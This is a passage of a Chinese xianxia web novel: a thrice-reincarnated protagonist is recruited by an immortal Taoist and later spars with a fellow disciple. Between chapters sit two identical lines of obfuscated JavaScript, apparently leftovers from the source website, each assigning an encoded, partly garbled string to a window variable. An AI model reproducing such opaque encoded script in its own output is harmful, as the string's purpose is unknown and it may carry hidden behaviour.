《感三世长生成道录》 第一章 三世轮回(上) 清晨,玄冥部洲,玄天山脉,天辰支脉,灵照山主峰之上。望着眼前被染成一片金红之色,正不断翻滚的云海,赵尘亦随之缓缓收功。 看着眼前红日初生,其道大光的云天胜境,赵尘随即从怀中取出一枚拇指大的玉珠。将其托于掌心,随着气息交感,便见玉珠上隐约缭绕着三圈毫光。 “三年时间,固本培元、道体天成、道基圆满。若是单论体质,从十一岁到十七岁,从明劲到见神,一晃便是六年有余。培元境的修行,走到这一步,也终于算是尽了。”见此,赵尘心中念道着。 想到这儿,赵尘不禁深深的叹了口气:“长生啊……” 思绪飘飞间,八十年的前尘往事便从赵尘心头滑过。八十年,说起来好像很久,可于赵尘自己而言,却又有种如梦似幻之感。 对,八十年!这如今已是赵尘的第三世了。 第一世的时候,赵尘作为一只标准废宅,平平常常的在地球上过了二十来年。 随后使用古典穿越法中的经典之一:触电穿。在一次看小说时,不小心触电身亡。 临死前最后一个想法却是:这么有特征的死法,下辈子一定要去个武侠世界,青衣白马,仗剑江湖。 当赵尘再次有意识的时候,已经是一刚出生不久的婴儿了。意识到自己真的穿越时候,心中的第一个想法却是:亏了,早知道真有来世的话,当初就应该许愿去仙侠世界才对,武侠世界有什么好玩的。当然,前提是这真是武侠世界。 一晃数年,赵尘弄清楚了两件事,一是这是哪儿,二是自己是怎么过来的? 首先,这是一个低武的,类后笑傲的,明朝中后期的武侠世界。大明最后的盛世已经缓缓拉开了序幕。 其次,赵尘也弄明白了自己穿越的原因。原来前世自己小的时候,捡到了一块磨盘模样的,好似玉环的白色小石头。赵尘见其好看,便用绳子串了起来,戴在了脖子上,这一戴便戴了一辈子(十几年)。 据石头中留下的信息所说,这是一座顶级的圆满世界晋升永恒世界,在最后一瞬间失败,整座世界连同其中的无尽生灵,尽皆坍塌成了这一块小石头,成就了这件最顶尖的准永恒级至宝。 至于什么是圆满世界,什么是永恒世界,什么是永恒级?不知道!赵尘只能凭借名字大概猜测一下。 作为一只起名废,根据这件至宝的功能和形状,赵尘将之称为:“造化大磨”,简称“磨盘”。 顾名思义,所谓造化大磨,便是指这件至宝的两个功能,一为造化,二为磨灭。换句话说,只要有足够多的运转这件至宝的“能量”,无论这个多是指质量上的还是指数量上的,这件至宝便几乎无所不能。 因为赵尘十数年的佩戴,造化大磨沾染了赵尘的气息。当初被电时,造化大磨抽空了周围数十公里的电量被初步启动,同时抽了赵尘近半的血肉完成了初步的祭炼,随后又让地球陷入了一秒钟的黑暗,同时让太阳衰老了数年,顺着赵尘的想法,包裹着赵尘的灵魂穿越了过来。 弄明白了上面这两个问题,几岁的赵尘就要为自己的未来做个打算了。 “难得穿越一次,不自我实现一下,也太咸鱼过了吧!”赵尘心中想到。 “种田才是王道,拥兵十万,上将千员,裂土封疆,文臣如云,猛将如雨。一匡天下。这才是大丈夫应该干的事。”赵尘想着。 可又想到接下来将要到来的所谓大明的最后盛世,想到要完成这个梦想的难度,赵尘狠狠的摇了摇头,果断的怂了。 “三元及第,金榜题名,大魁天下,这才是文明人应该干的事,打打杀杀多不好。正所谓:十载寒窗无人问,一朝成名天下知,说的就是我了。” 赵尘一边想着,一边拿出了一本《四书章句》,翻了几页,换成一本《大学》,看了一会儿,又换成一本《论语》读了小半天,再换成了一本《三字经》。 虽然在心中不断念叨着:“自己还小,还是个孩子,还是个幼儿,时间还早,以后就好了。”可赵尘终究无法欺骗自己的内心。 半天后,赵尘默默的把书放下。用肯定的语气说道:“读不进书,不是因为自己学渣,而是因为武侠世界,安心练武才是正路。走科举这条邪路的,想一想传说中一门七进士,父子三探花的小李探花那的经历,就知道了。” 自觉明悟了真理之后,赵尘一门心思都放在了武道上。 因为磨盘带赵尘来到此世后,还剩下一些能量,在赵尘的努力与自家金手指的帮助下,刚过冠礼,便已成为后天圆满。在往上,便是江湖上已经一百多年无人成就的先天之境。 当然,于此同时,赵尘对金老的怨念也是突破天际。 感受着空气中若有若无的灵气,赵尘觉得,自己若真的开辟玄关,沟通内外,一身内力回归天地,直接坐化的可能性要远远大于成就先天的可能性。前者的概率要比后者大上百倍、千倍乃至万倍。 面对这练气武道的末法时代,赵尘仰望上天,可谓是无语凝噎。 虽然说自家磨盘中还剩下一些能量,便是供应上百位先天都绰绰有余,但总归还是要留下些能量,一是为了以防万一,二是为了留下离开的能量。 对赵尘来说,有此机缘,只求个青衣白马,快意江湖,实在太低。怎么说也要踏遍青山人未老,一个长生,还是要的。 “练气武道不行,我换气血武道还不行吗,多大点事!” 一番苦思冥想后,找到办法的赵尘便以自身内力为原料,用造化大磨推演出完整的国术,闭门苦修去了。 不到二十年,赵尘不但成就见神不坏,还将内力重修回来。 虽然赵尘发扬前世属性,在家宅了近四十年,几乎没出过门,但因为家世,还是搏了一个武道天才,天下第一的美名。 面对这般进无可进的情况,赵尘突发奇想,从国术转入人仙武道怎么样? 想到这里,赵尘便决定用自己的气血与内力为能源,推演人仙武道的法门,看能不能在这个末法时代推开长生路。 但是迅速衰竭的气血立刻让赵尘明白了知足常乐这个成语的意思,并对这个成语有了充分的理解,并对此记忆深刻! 虽然立刻停下了对人仙法的推演,但看着自己的身体,正自下而上,一寸寸的化为飞灰的情景,赵尘觉得自己从来没有这么清醒过。 见此情景,赵尘连忙屏气凝神,让造化大磨带着自己去一方等级尽可能高的仙侠侧世界,并在尽可能合适的情况下,为自己谋一个尽可能好的出身,并将因果之类的首尾全部处理好。 随即,赵尘感觉着一道光华带着自己,从化为飞灰的身体中冲出,便眼前一黑,失去了意识,留下了一段关于赵家老祖武破虚空,化虹而去,羽化登仙的传说,从世上消失。 当然了,随着赵家老祖这么一飞升,准确的说是随着赵家老祖的那些“飞升异象”,这方世界彻底陷入了末法时代,练气武道彻底成了绝响。对此,江湖中人虽不知缘由,但也有所猜测,众说纷纭。 …… 待赵尘再次有意识的时候,便是这第三世了。 和上一次不同,这一次待赵尘有意识的时候已经十一岁了。 赵尘根据磨盘于脑海中留下的信息了解道:磨盘按照自己的心意,将其带入这方世界后,将其表层的灵魂和灵魂上所沾染的外界气息尽皆磨去,打上此界印记,并为其编织因果,扫清首尾之后,将其送入这方世界的轮回。 因为灵魂的不完整,赵尘这一世从刚生下来就痴痴傻傻的。一连经过轮回的滋补和今生十来年的温养,直到今天,赵尘的灵魂才恢复了完整,并清醒过来。 这一世的赵尘出生在一山脚下的无名小山村,山名恶龙岭,其他的就一概不知了。 赵尘的爷爷是从外面逃难来的教书先生,娶了村中女子,只生下了赵尘父亲这一个独苗。其在赵尘父亲小的·时候便去世了。赵尘父亲便没有子承父业,而是成了一个猎户,也就赵尘一个独苗,却也在赵尘小时候去了。而赵尘的母亲是在生赵尘的时候难产去的。 可以说,这一世的赵尘是标准的父母祭天式的开局。不但如此,便是爷爷奶奶,外公外婆等也一个没跑。可以说离一家人整整齐齐也就差赵尘一个了。 自赵尘父亲去世后,痴痴傻傻的赵尘便被全村人东家一口,西家一口的照顾到现在。 要不是整个村的人虽十几个姓氏,但掐指算来,也都勉强算是沾亲带故,再加上大家心都不错,这种天煞孤星,别说吃百家饭,早就被扫地出门了。 “既然醒了过来,就要为以后做打算了。”意识清醒后,赵尘找了条小溪,将自己梳洗了一番之后,便找了块巨石,一边晾晒衣服,一边躺在石头上盘算起来。 “按照磨盘中的信息可知,这方世界,可以说是一方高等仙侠世界了。当然了,具体有多高,还不清楚。在这样的世界,长生,应该不在是一个虚无缥缈的奢望了,而是一个可以实现的确确实实的目标。” “这有好处,自然也会有不好处,据磨盘所说,这方世界等级太高,想要向之前那样从世界中超脱而出,现在还好说,但日后种种因果牵连之下,其难度,可谓天差地别。不过这离我还是太远了,先定一个小目标:成仙!” 想到这里,赵尘一骨碌的从石头上爬了起来,将晾晒在石头上,还没有干的衣服胡乱的往身上套去。一边穿着衣服,一边向下跳去。结果脚下一滑,一个踉跄,从石头上摔了下来,摔了个鼻青脸肿。 赵尘便这般一瘸一拐的向家走去,一边走还一边在心中嘀咕道:“要实现这个小目标,要将之分成几个阶段。第一个阶段便是要找到修仙的法门,这个不急,可以慢慢来,在磨盘的安排下,我自信还是有这个缘法的。” “在这之前,还是要锻炼一下身体,改善一下生活水平,同时回报回报邻里。总结下来,也就四个字,习武、打猎,所以说还是要子承父业,做个猎户。” 想到要做个猎户,赵尘不禁回头向后方的山林望去,耳中好像隐约听见在远方回荡的兽吼声和嘶鸣声。又想起自小听到的种种关于恶龙岭的传说。 赵尘猛地回过头,紧了紧衣襟,小声道:“这大夏天的,穿着湿衣服走在树荫下,还真有点冷。” “再说了,只要不进深山,便是有什么妖魔鬼怪又和我有什么干系?村里这么多猎户,也没听说谁遇上过什么怪事,应该吧?” 说到这里,赵尘将注意力转了回来,心道:“打猎的事以后在说,先把习武的事情解决了,习武的话,练气武道,也不知道这个世界的修行法门是个什么路数,还是先放一放。还是先练国术吧。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二章 三世轮回(下) 一晃三年过去,赵尘就这样沉浸在打猎、练武的生活中,除了偶尔向村中出过远门,所谓有见识的村长、宿老、叔伯的打听些仙神传说、奇人异士什么的。 直到一天早上,正是初秋时节。 赵尘正好突破化劲,满心欢喜的往村中走去。忽见一朵白云载着一中年道人从空中悠悠落下。待云朵落到地面时,中年道人轻轻一步迈出,身后的云朵也如烟如雾般的散去。 不说其先前从天而降这件事,单看中年道人一身如玉白袍,立身在这飘渺云烟之中,便自有一番神仙气象。随着烟雾散去,中年道人一甩手中拂尘,向身上轻轻掸去,好似拂去身上根本不存在的尘土,随后略微整理一下衣襟,对着赵尘微微一稽首::“慈悲慈悲。” 虽然早知道这是一方高等仙侠世界,但突然看见一个人乘着白云,飞到自己面前,赵尘觉的自己还是需要冷静冷静。 “这位小哥!” “额……这位……仙……仙长、仙长,小子名叫赵尘,仙长叫我赵尘就好,不知有什么可以帮到仙长的。” “呵……当不当小哥仙长之称,贫道玄天宗明尘,听起来到是与赵小哥有缘,”道人一手将拂尘搭在左手臂弯出,同时左手虚扶,凭空生出一股力气,将作势欲要弯腰拱手做礼的赵尘扶住,口中含笑的对赵尘微微点头:“贫道见不远处有人烟,想来讨碗水,倒是惊扰到小哥了,万分抱歉。” 赵尘听到道人的话,心中暗翻白眼,却也冷静了下来,心中暗自嘀咕道:“您驾着白云飞到这里,只是为了讨碗水,这套路我熟啊!” 心中虽这样想着,加之没有感到恶意,便顺着道人的话道:“不敢,前头就是村子,仙……道长请随我来。” 说罢,赵尘连忙快走几步,来到明尘前面,为明尘引路。在赵尘带领下,行不到一刻钟,便远远看见村头靠在树荫下纳凉的村长。 正躺在村口树荫下纳凉的村长,听见远处传来的脚步声,闭着眼道:“赵小子,今儿怎这么早就回来啦?” 话音未落,却听见除赵尘外,另一个脚步声不似村中人的。不待赵尘开口,村长便扶着树干起身,同时睁眼向赵尘处看去,只见赵尘身后跟着一人,约四十余岁,做一副道人装扮。 这道人肤色温润如玉,头顶一青玉冠,黄金包底,镶有三圈米粒大小的宝石。 一身白袍,看不出材质,只是有一种温润、晶莹之感,上面隐约可见的云纹流转,好似有云烟升起,更有一种出尘、飘渺之意。 手中一柄浮尘,紫玉为柄,上雕祥云、如意,更有珍奇异兽,云纹鸟篆,装饰其上,浮尘的丝更是根根剔透,阳光下,似有毫光缭绕。 腰间挂着几件饰物,如铃铛、珠饰、腰佩等,都光华璀璨,各有神异。 脚下蹬一双千层底的布靴,看起来最为寻常,但却是一尘不染,光洁如新。整个一富贵中人,神仙中人的样子。 这村长早年也是在外闯荡过,见这中年人虽是一副修道之人模样装扮,可是这周身所穿、所戴、所拿,皆是不同寻常,所以说话、动作都是格外小心:“不知这位贵人?” 于此同时,赵尘侧身后退,对明尘道:“这是我们村的村长。” “这是明尘道长,行路至此,见有人烟,便过来讨碗水。”随即,赵尘对村长介绍道,说话间,手指微微抖动了几下。 村长闻言,连忙上前见礼。 两人礼毕,村长将明尘迎入村中:“道长原是渴了?请随小老儿来。村中没什么好茶,还望道长不要嫌弃。” “不敢劳烦老丈,”明尘一把拉住村长的胳膊:“给贫道一碗清水便好。”说着便将村长拉回先前的树荫下,按坐在石墩上,同时自己也挑了一个邻近的石墩,用拂尘掸了掸,随之坐下。 村长扯了扯胳膊,叹了口气:“这……那好吧,倒是委屈道长了。道长在此稍坐,赵小子,还不快去为道长端碗水来。” 赵尘闻言,也告了声罪,便往最近的那户人家跑去。村子并不大,因为依着大山,要抱团取暖,几十户人家挨着很近,便是从村头到村尾也不过五百丈有余。所以几句话的功夫,赵尘便恭恭敬敬的双手端着一只大海碗向明尘走来。 正和村长闲聊的明尘见状,将拂尘搭在胳膊上,双手接过碗:“多谢小哥。” “不过一碗水而已,不敢受道长谢。” 明尘接过碗喝了一口,将拂尘放在腿上,一手托着碗,一手拉着村长闲聊了起来。从家长里短到江湖故事,从山水胜景到志怪传说,明尘和村长两人却是越聊越投机,可谓相谈甚欢,看起来真有相见恨晚之意。 这般聊一会儿,端起碗抿一口,不到两刻钟,就将碗随手递给了侍立在一旁的赵尘:“有劳小哥了。” 赵尘接过碗,往回走去。村长见状,对明尘道:“这赵家小子啊,也实在不容易,他爷爷是逃难过来的,在这村子里安了家,也没个兄弟什么的。三代单传,到了赵小子这一辈” “赵小子呢,从小就没了娘,五岁不到,他爹就去了。他自个呢,又痴痴傻傻的,可大家伙也都不容易,便商量着,谁家能挤出口吃的就喂他一口。就这样把他拉扯大。” “也万幸老天开眼,前些年,赵小子不小心从石头上摔了下来,磕着了脑袋,却突然被磕开窍了。这好了以后啊,倒也努力,可就是对那神神鬼鬼的敢兴趣,那仙人一贯高来高去,我等凡人,一辈子都不定能遇上一回呢。” “再说了,便是遇上了,咱这肉眼凡胎也认不出来。就是认出来了,人家也不一定收你,传说中这仙人收徒,都是讲究个缘法的,道长你说是吧!” 这村长看似在向明尘抱怨,实际上却是暗自表达了这赵尘向往仙道,想要拜师的意思。赵尘在村口那番非常轻微的手势,便是在向村长表示:这位道长是驾云而来的,非是常人。之前和明尘的一番闲聊,便是有几分试探的意思,用以估算这位明尘道长的性格、品性、修养、见识等。 一番交谈下来,可以断定这位明尘道长性格、品性、修养等都是上上之选。至于见识眼界,村长只能说不是自己可以度量的。 要知道,自己少年时代,也曾流浪江湖,游历了数十万里,见过无数的俊杰豪侠、异士奇人,便是些小妖小鬼,也见过多次。虽从没在村中炫耀谈论过自己的经历,但凭借自己先天级的修为,虽然在州府乃至天下而言,什么都不算,但在县中却也是上等。 可在之前的交谈中,自己说什么,这位明尘道长都能捧的恰到好处,说的头头是道。而这位明尘道长说的,自己虽也能随心呼应,但能明显感觉出来,这位明尘道长在故意迁就自己罢了。 听村长抱怨的话语,对于村长的想法,明尘如同心有明镜一般,好似掌上观纹一样。微微点头,面露笑意:“照老丈所说,这赵小哥却是可怜。可如今不也苦尽甘来了吗?” “至于心慕仙道……赵小哥一身气血,不但旺盛,而且纯净活泼,阳刚清新,根骨可谓极好。再从面相上看,虽大富大贵是不可能,但若修道的话,只要心性不差,长生了道,得道成仙不敢说,清贵逍遥却是一定的。” “再加上赵小哥和我还真有一段缘法,所以说若随贫道修道去,还真算是一个好去处,不知老丈意下如何?” 听明尘这么一说,村长也明白了其来意,心中为赵尘能得起所愿而感到高兴。随即斟酌道:“能随道长去修道,实是赵小子的福缘,也甚合赵小子的心意,但究竟如何,还要问一问赵小子的想法,小老儿实不好越俎代庖。” “这是自然。” 正说着,赵尘便回来了。 村长将先前的事对赵尘解说了一番:“事就是这么一个事,赵小子,明尘道长想让你随他修道去,你意下如何?” 赵尘闻言,心中一动:“我的缘法,来了!” 心中可谓激动万分,可忽然又有些舍不得村中邻里,舍不得自己的破屋子,一时竟不知道怎么说。 看出了赵尘的想法,村长一巴掌拍在赵尘头上:“赵小子,这还有什么可考虑的。这不是你一直期望的吗?再说了,你爹娘都不在了,又有什么可牵挂的。” “至于村中其他人,又不是缺了你就没法活了。还有,你要是真出息了。我们村出了位仙人,不但说出去有光,还能让大家沾沾仙气。” 赵尘听着村长的话,一咬牙,便要朝明尘拜去:“赵尘拜见师……” 见赵尘动作,明尘随手一指,便将其定住:“你不用跪我,贫道也不是你师傅。按照宗门规矩,你暂时可以称贫道一声师叔祖。”说着,便将腿上拂尘拿了起来,起身随手往身上掸了掸。 明尘说完,赵尘便发觉自己又能动了,连忙顺着见礼道:“见过师叔祖。” 明尘点了点头:“既然如此,贫道也随老丈喊你赵小子了。可还有什么要收拾的吗?有的话快点收拾一下,没有的话我们现在就走吧。” “啊,这么急的吗?” “如今天色正好,方便赶路,便不打扰老丈了。” 见明尘说着朝自己看了过来,赵尘略想了下,摇了摇头:“家中没什么好收拾的。” 接着又对村长道:“劳烦村长将我家中剩下的米面肉食等分给大家吧,剩下的一些杂七杂八的东西如有人要便拿去,要是没人要,扔了也好,烧了也好,放那里也好都无所谓,屋子也一样。” “好说。” “走吧,”说着,明尘好像想起了什么:“忽然想起来,贫道还有些枣儿。老丈请我喝水,我便请大家吃点枣儿吧,倒也趁着时节。” 说着,明尘从袖中摸出一枚枣核,往村外一抛,接着伸手一指。 只见枣核落地后迅速长成一株枣树,开花,结果,成熟。紧接着一阵风吹过,满树的枣都被吹到地上,落地的枣子立刻长成枣树,又不断重复刚才的步骤,不过数个呼吸的时间,一片数里宽,绵延十数里长的枣林在村外形成。 “这林子里每年结的枣子,供一村人食用都是有余的,而且常年食用,不但滋补,而且还可以增长力气。” “道长果然是神通广大。” 虽然先前便听赵尘所说,这位明尘道长是飞过来的,但亲眼看见这神迹一般的场景,村长还是愣了一愣,接着赶忙站起来。“道长这大恩大德,这……” 自己年轻时候所见的那些奇人异士,虽也有许多看起来玄奇的法术,但多是障眼法之类的幻术,剩下的多是也是那些一戳就破的把戏,再剩下的,也多以诡异为主。像这样堂皇大气又玄奇壮观的景象,这还是第一次见。 “这一般的江湖术士和真正的神仙人物,当真的判若云泥啊,没想到我老了老了,还沾了赵小子的光,开了一回眼界啊。”村长一边想着,一边道谢道。 不待村长说完,便被明尘挡住,同时也随即起身道:“当不得老丈这般称赞,不过区区戏法而已,徒搏人一笑罢了。” 说着,也不待看见情况的村民围过来,明尘自袖中摸出一只数寸长的小船,往天上一扔,说一声:“走吧”便一把抓住赵尘的肩膀,向上一跃。随即一道青光闪过,便消失无踪。 …… 这一幕幕前尘往事在脑中飞过,赵尘不禁幽幽一叹,转身向山下跃去。随着眼前的景物快速划过,不一会儿,赵尘便来到山脚一篱笆小院。 院中,几畦菜地,五间茅屋,还有一株枣树,被一圈半人高的篱笆圈了起来。 一魁梧大汉正在院中打拳。听见声响,猛一抬头:“公子回来了。” “钱叔。”赵尘点头招呼道。 钱叔姓钱名穆,是一名先天八重天的武者,宗门配给赵尘的护卫。这先天和赵尘前世的先天看起来好像差不多,但实际上却是两回事。 比如钱穆,先天八重天,放在赵尘前世,移山填海做不到,但断江摧岳,还是轻而易举的。 每一名入宗的弟子,宗门都会为其配备一到十名随从,用以照顾生活、保护安全、教导修行等。 其配置分别为四名护卫,都是先天武者。山中虽然被清理过,但一些毒虫野兽还是有可能遇到的。 三名西席老师。一是位神魂一脉的修行者,教导弟子文字、经典、礼节等和修行有关的知识;二是一位养气期的修行者,教导弟子各种金石草药等相关的知识,同时兼职医师,照顾弟子健康;三是一名武道宗师,教导弟子身体锻炼方面知识。 还有一名厨师或称药师。当然了,主要作用不是做饭,而是为弟子配置修炼所用的药膳、汤剂。同时负责教导弟子入门级的丹道知识,如果弟子感兴趣的话。一般也是一位养气期的修行者,偶尔也由医师兼职。 一名粗使杂役,专门处理各种杂物,多是一名后天武者。 一名监督弟子修行和管理其他随从的管家,基本是由一位金丹期的修行者担任。 因为明尘在带赵尘回来的几个月中已经完成了对赵尘的基础教育,再加上赵尘自己也很自律。剩下的可以通过书本自习,所以这三位西席老师便可以免了。当然了,这其中少不了金手指的功劳。磨盘中的能量虽然所剩无几了,但用来存一些文字、图像还是可以的。 至于配置修炼所用的药膳、汤剂,虽然繁杂,却不精妙高深,毕竟如果真的非常精妙高深的话,也不是养气期的弟子可以掌握的。 当然了,这不是说因天、地、人而异的这些这些药膳、汤剂没有精妙高深的部分,而是精妙高深的部分都由师门长辈解决了,弟子身边的药师只是处理剩下的繁杂的苦力。至于入门级的丹道知识,赵尘也可以自学。 还是那句话,毕竟只是一位养气期的弟子,还不是名列玉册的嫡传弟子,所掌握的入门级的丹道知识,并没有那么高深。 这样一来药师也不需要了,便是四名先天级的护卫,在赵尘的要求下也只配备了一名。 因为只有两个人,再加上赵尘入宗时已经快十五岁了,不需要别人照顾其生活。所以粗使杂役也取消了,同样是因为只用赵尘两人,所谓的管理其他随从的管家也就更没有必要了。 因此,宗门最后只为赵尘配备了一名先天级的护卫。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三章 菜鸡互啄 远处,山色空蒙,云烟浩渺,灵气如雾,紫气青烟随云海在山间翻腾。 近处,水面,阳光下,或浮光跃金,或静影沉璧;岸边,或古木参天,或绿草如茵。星星点点的点缀着些奇花异草,不时,就有几只灵狐、灵兔、灵鹿、仙鹤之类的仙禽瑞兽在眼前一闪而过。 赵尘的身影快速从这灵山胜景中划过,却一点也不留恋。因为看腻了,毕竟天天生活在这里。 先前,赵尘从山上下来后,和钱穆稍微交代了几句,便稍微收拾了几件行李,就向首座长老所在的云首山赶去。 据赵尘这三年了解的情况来说,玄天山脉,或者说玄天山系。由一条主脉和十二条支脉构成。位于无尽林海之中,光主脉玄天山脉便有一万五千余里长。而整条玄天山系都是玄天宗的驻地。 赵尘所在的天辰山脉,作为玄天山系的一条支脉,便有三千多里长,主要由近三百座大山构成,每座大山,大的有几十上百峰,小的也有十几峰。剩下的小山头更是不计其数,其间还夹杂着无数的森林、湖泊、河流和平原。 整条天辰山脉,除了赵尘等十几位弟子和其随从外,便只有居于云首山的首座长老,住在云台山的庶务长老和驻守经阁的传法长老,以及几位长老的随从属下。 其中,光从赵尘的灵照山到首座长老所在的云首山足便有有七百多里,更重要的是这儿的一里不是地球上的五百米,而是一点五公里。 当然了,这个换算单位是赵尘根据经验和金手指估算出来的。 这里的这里的一寸也是差不多有手腕上那一截长,和前两世一样,而这里的一里差不多和前世的三里一样长。 这样一番换算下来,整条天辰山脉从头到尾足足有四千五百公里长,占地三百多万平方公里,可总共加一起才不到三百人,地广人稀到了丧心病狂的程度。三位长老,十七位弟子。以至于每位弟子都发一座山住着,例如赵尘的灵照山就有三十九峰。 但实际上,赵尘知道这其中确是更有玄机,比如说:据明尘所说,他便住在天辰山脉之中,而赵尘却不知其所在的具体位置。 …… 一直到日落时分,赵尘一连走了四百多里,远远望见,于左前方数十里外,便有一座高山,亦是奇峰罗列,足有三五十峰,高者过三百丈,低的也有百丈有余。 赵尘稍一思索,判断道:“这应该便是二师兄的仙始山了,果然是一座神仙福地啊,单论景色来说,更胜过那灵照山数分,今晚便借宿二师兄家了。” 说罢,赵尘便提速向前赶去。不到半个时辰,便赶到二师兄家门前。和赵尘的篱笆小院不同,这是一间三进的院落。赵尘刚到门口,二师兄便开门迎了出来。 “我和二师兄相距少则十数丈,多则数十丈,更隔着数重院墙,其却能感知到我的到来!”赵尘心中微感惊讶,同时向二师兄看去。 赵尘的这位二师兄道号清昃,头戴一顶九梁巾,身着一件墨绿色直裰,看面相像三十出头,面容方正,青须五缕,只是不知为何,眼中却带着丝丝愁苦和落寞。 一番寒暄之后,清昃将赵尘迎入正厅,分别落座之后问道:“小十七啊,上次见你还是你入门的时候。在首座那儿,不知这次来寻愚兄所谓何事?” “见谅,见谅!我这人天生不喜动弹,自入门之后就在家中苦修。”赵尘不好意思道。 “小弟资质愚笨,历时三年,方才完成固本培元,正打算去首座处录名。”说着,将玉珠从怀中取出,对清昃示意了一下:“正好路过师兄这儿,便打算借宿一晚。” 清昃闻言一顿,放下手中茶杯,细细打量一番:“那倒是要恭喜师弟了。” “不过小十七,你这资质愚鲁之说,可是谦虚过头了。你能在培元境细细打磨三年,其他不说,单是这心性,便足以称赞。在加上这气血筋骨,亦见资质。” 接着,不待赵尘开口,继续道:“啊,正好。小十七,我们切磋一番如何,早听说你身手了得!” “也让我看看,我这三十年苦修,日日不辍,早晚不息,和你这三年时间打熬的筋骨比起来,究竟有没有意义,虽说修道不是为了好勇斗狠,但……”当然了,这句话清昃并没有说出来。 “这……小弟只是多练了些打熬筋骨的粗浅把式,可不敢说什么身手了得。” “哈,你这打熬筋骨的把式可不粗浅。” 说着,清昃一把捏住赵尘的胳膊,不由分说的拉起赵尘向屋外走去。 “当然了你可别怪师兄用法力欺负你,毕竟愚兄比不得小十七你身强体壮。” 赵尘便这般被清昃拉进了侧院的演武场之中。相隔三丈有余,在演武场中分别站定。 见此,赵尘只好抱拳道:“二师兄,得罪了!” 说罢,话音未落,赵尘双脚一蹬,接着劲力未退,脚尖便在地面两次轻点。好似飞鸟滑过水面一般,凌空一寸,“飞”至清昃面前不到两尺处。 随着双脚落地生根,劲力自脚底涌出,沿着腿、腰、肩、肘、腕,随着拳头轰出。 自两人刚到演武场,清昃便将法力从周身缓缓散发出去, 虽然练气期的法力好像无根之萍,迅速的随风散去,便借助绵绵不断法力,感知着周身三丈的环境还是能够做到的。这也是清昃和赵尘分三丈站开的原因,若是远了,清昃怕感知不到。 清昃见赵尘拱手、开口。话音还未落下,不便消失在自己眼前,不到一眨眼的功夫,赵突然出现在离自己不过一尺的地方,对自己挥拳砸来。 整个过程一丝风声都没带起,但直到此时,清昃才感知到自己的法力场被赵尘从三丈外贯穿,以及赵尘拳头前炸裂开的法力空洞。其先前的打算不说完全落空,但也近乎半废。 清昃脸色微变,手中指印变幻,五股法力同时从体内分离出来,一股化作一团雷球在赵尘眼前炸开,在雷光的掩护下,另一股法力化作一柄小刀向赵尘的识海斩去。 于此同时,另外三股法力,一股散成一片薄纱,将清昃罩住,隐去清昃身形;一股化作一团清风在清昃脚旁打旋,一股化作一双无影无形的羽翼。 清昃便这样脚踏清风,肋生双翼,伴随对赵尘周身法力场的感知,顺着灵觉,朝侧后方跃去。 于赵尘来说,拳头刚挥出不到半尺,便见一团雷光在眼前炸开。不待赵尘做出反应,接着就好像被巨大的布锤砸中,眼前一阵恍惚。同时,清昃也随之消失在眼前。 赵尘脚步一个踉跄,顺应着随着练武而日益灵敏的灵觉和本能,随之蹲身、抱膝,往前一窜,避开雷火。同时起身,全身劲力迸发,将背后激荡来的雷火余波挡住,同时将周身好像存在的什么东西撕裂、推开。 在全身劲力迸发的同时,脚下一个进步,如同位移一般出现在侧前方三尺处,同时化拳为刀,自下向上撩去。 掌刃和指尖劲力勃发,凌空三寸,将清昃的法力薄纱劈散,随即再变掌为拳,捏拳印做虎掌状,同时心意凝炼,向清昃拍去。 清昃只看见赵尘避过雷火,蹿身站直,自身的法力场便溃散开来。 “师叔说的果然没错,法力场这种小技巧,着实……不好!” 清昃一个念头还没转过来,看着忽然消失的赵尘,心中一个咯噔,手中指决翻飞,同时向后倒去。就在此时,赵尘突然出现在自己右前方,抬手便将自己的隐身纱罩撩散。接着,不待清昃反应过来,便恍惚间,隐约看见一只虎爪裹挟着肃杀之气朝自己压迫过来。 “心意压迫!”清昃一个念头闪过,一股法力出现在识海之中,以心光为中心,结成一枚立体的符文。清昃原本摇曳不定的心光忽然大放光明,灼灼生辉,将赵尘的心意压迫驱散开。 同时因为早做准备,清昃像落叶柳絮一般的避开了赵尘的拳脚,似慢实快的,在间不容发间向远处退去。 见赵尘依旧步步紧逼,向自己贴靠过来,清昃在向远处飘去的过程中一甩衣袖,一团火光便被清昃像幕布一样抖开,朝赵尘当头罩去。 见被火幕封住去路,正凌空跃起的赵尘在避无可避的情况下,只能团成一团,浑身劲力爆发,从火幕中窜出,在靠近清昃是猛然舒展身形,在心意的配合下,猛然迸发出一股开辟大力,裹挟着一股虚幻的大势朝清昃大去。 赵尘便这般劈、砸、叩、扑、崩、撞、顶……不断想要侵入清昃周身三尺之内。而清昃就各种法术不断砸出,法力像流水一般不断逝去,想要和赵尘拉开至少三尺的距离。 赵尘和清昃之间的距离便在三尺两寸到两尺三寸这九寸之间不断变幻。而两人中间或电光赫赫,或风火连绵,或水汽弥漫,再夹杂着不时响起的空气炸裂声,可谓热闹至极。 暂时看来,两人之间好像谁也奈何不了谁,但实际上清昃却处于绝对的下风。 因为养气期的法术威力着实有限,以赵尘现在的体质来说,挨上一发最多最多也就重伤,甚至可能连皮外伤都没有。而清昃只要被赵尘碰到,那就是不死也残。当然了,两人间的比试赵尘不可能下死手,但也只要一击便可以让清昃暂时失去战力,束手待宰。 而且究竟是赵尘先耗尽体力还是清昃先耗尽法力先不说,但赵尘的体力绝对比清昃的法力好恢复的多。所以只要赵尘稍放缓攻势便赢定了。 两人之间的战斗看起来精彩万分,可实际上不过菜鸡互啄罢了。 